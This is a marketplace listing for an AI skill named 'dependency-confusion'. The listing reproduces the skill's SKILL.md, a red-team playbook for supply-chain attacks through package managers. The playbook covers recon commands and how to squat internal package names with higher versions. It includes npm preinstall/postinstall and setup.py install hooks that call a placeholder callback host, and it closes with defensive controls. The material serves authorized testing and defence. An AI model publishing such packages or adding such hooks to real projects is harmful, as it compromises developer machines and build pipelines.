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Dependency Confusion

OrganizationPopular
yaklang
dependency-confusion

Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises.

Overview

Publisheryaklang
Repositoryhack-skills
Skill namedependency-confusion
Stars
2.2K
Forks
292
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Dependency Confusion AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/dependency-confusion .claude/skills/dependency-confusion
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Dependency Confusion in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Dependency Confusion on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Dependency Confusion is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: Dependency Confusion — Supply Chain Attack Playbook

AI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.

0. QUICK START

What to look for first

  • Manifests listing package names that look internal (short unscoped names, org-specific tokens, product codenames) without a hard-private registry lock.
  • Evidence the same name might exist—or be squattable—on a public registry with a higher semver than the private feed publishes.
  • Lockfiles missing, stale, or not enforced in CI so install/build can drift toward public metadata.

Fast mental model: If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.

Routing note: if the task comes from supply-chain, repository exposure, or CI-build recon, first use recon-for-sec to list internal package names and possible public-registry collisions.


1. CORE CONCEPT

  1. Private packages: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like @org-scope/internal-utils or an unscoped name such as acme-billing-sdk.
  2. Attacker squats the name: The same package name is published on a public registry (npmjs, PyPI, RubyGems, etc.).
  3. Resolver preference: Many setups resolve highest matching version across all configured indexes (or merge metadata), so a public 9.9.9 can beat a private 1.2.3 if ranges allow.
  4. Execution: Package managers run lifecycle scripts (npm preinstall/postinstall, setuptools entry points, etc.) → attacker code runs on developer laptops, CI, or production image builds.

This is a supply-chain class issue: impact is often broad (many consumers) and silent until build or runtime hooks fire.


2. AFFECTED ECOSYSTEMS

EcosystemTypical manifestConfusion angle
npmpackage.jsonScoped packages (@scope/pkg) are safer when the scope is owned on the registry; unscoped private-style names are high risk. Multiple registries / .npmrc registry vs per-scope @scope:registry= misconfiguration increases risk.
piprequirements.txt, pyproject.toml, setup.pypip install -i / --extra-index-url merges indexes; a public index can serve a higher version for the same distribution name.
RubyGemsGemfilesource order and additional sources; ambiguous gem names reachable from rubygems.org.
Mavenpom.xmlRepository declaration order and mirror settings; a public repo publishing the same groupId:artifactId under a higher version can win if policy allows.
Composercomposer.jsonPackagist is default; private packages without repositories/canonical discipline may collide with public names.
DockerFROM, image tagsTyposquatting on container registries (e.g. public hub) for images with names similar to internal base images.

3. RECONNAISSANCE

Where internal names leak

  • Committed package.json, requirements.txt, Gemfile, pom.xml, composer.json in repos or forks.
  • JavaScript source maps, bundled assets, or error stack traces referencing package paths.
  • .npmrc, .pypirc, CI logs showing install URLs or mirror endpoints.
  • Issue trackers, gist snippets, and dependency graphs from SBOM exports.

Check public squatting / claimability (read-only)

bash
# npm — metadata for a name (unscoped)
npm view some-internal-package-name version

# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json

# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — query remote
gem search '^some-internal-package-name$' --remote

# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"

Routing note: after package-name enumeration, consider PoC only in authorized environments; public registry lookups themselves are usually passive recon.


4. EXPLOITATION

Authorized testing pattern

  1. Register (or use a controlled namespace) the same package name on the public registry your target resolver can reach.
  2. Publish a higher semver than the legitimate internal line within the victim’s declared range (e.g. ^1.0.0 → publish 9.9.9).
  3. Add lifecycle hooks that prove execution without harming hosts—prefer DNS/HTTP callback to a collaborator you control, no destructive writes.

npm package.json — minimal callback-style PoC (illustrative)

json
{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}

npm package.json — shell + curl fallback (illustrative)

json
{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}

pip — setup hook pattern (illustrative; use only in authorized lab packages)

python
# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)

Reference implementation (study / lab): community PoC layout and workflow similar to 0xsapra/dependency-confusion-exploit — automate version bump, publish, and callback confirmation only where you have written permission.


5. TOOLS

ToolRole
visma-prodsec/confusedScans manifest files for dependency names that may be claimable on public registries (multi-ecosystem).
synacktiv/DepFuzzerAutomated dependency confusion testing workflows (use strictly in-scope).

Run these only against your manifests or authorized engagements; do not use to squat names for unrelated third parties.


6. DEFENSE

  • npm: Prefer scoped packages (@org-scope/pkg) with org-owned scopes; set .npmrc so private scopes map to private registry and default registry is not accidentally public for internal names.
  • Pinning: Exact versions + lockfiles (package-lock.json, poetry.lock, Gemfile.lock, composer.lock) enforced in CI.
  • pip: Avoid careless --extra-index-url; prefer single private index with mirroring, or explicit --index-url policies in CI.
  • Maven / Gradle: Control repository order, use internal mirrors, and block unexpected groupIds on release pipelines.
  • Composer: Use repositories with canonical: true for private packages; verify Packagist is not introducing unexpected vendors.
  • Defensive registration: Reserve internal names on public registries (squat your own names) where policy allows.
  • Monitoring: Tools such as Socket.dev, Snyk, or similar SBOM/supply-chain scanners to alert on new publishers or version jumps for critical packages.

7. DECISION TREE

text
Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
    ├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
    │   ├─ YES → Lower risk; still verify CI and developer machines do not override config.
    │   └─ NO → HIGH RISK
    │         ├─ Can a public registry publish a HIGHER version inside declared ranges?
    │         │   ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
    │         │   └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
    │         └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)

Related routing

  • From recon-for-sec: When doing supply-chain reconnaissance, cross-link leaked manifests and internal package identifiers with the checks in Section 3 and the decision tree in Section 7 before proposing any publish/PoC steps.

Frequently asked questions

What does the Dependency Confusion AI skill do?

Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises.

Why use Dependency Confusion on TypingMind?

Because you install it once and use it with any model. Dependency Confusion is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Dependency Confusion in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/dependency-confusion. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Dependency Confusion?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Dependency Confusion?

As many as you like. As long as a model supports skills, you can use Dependency Confusion with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Dependency Confusion AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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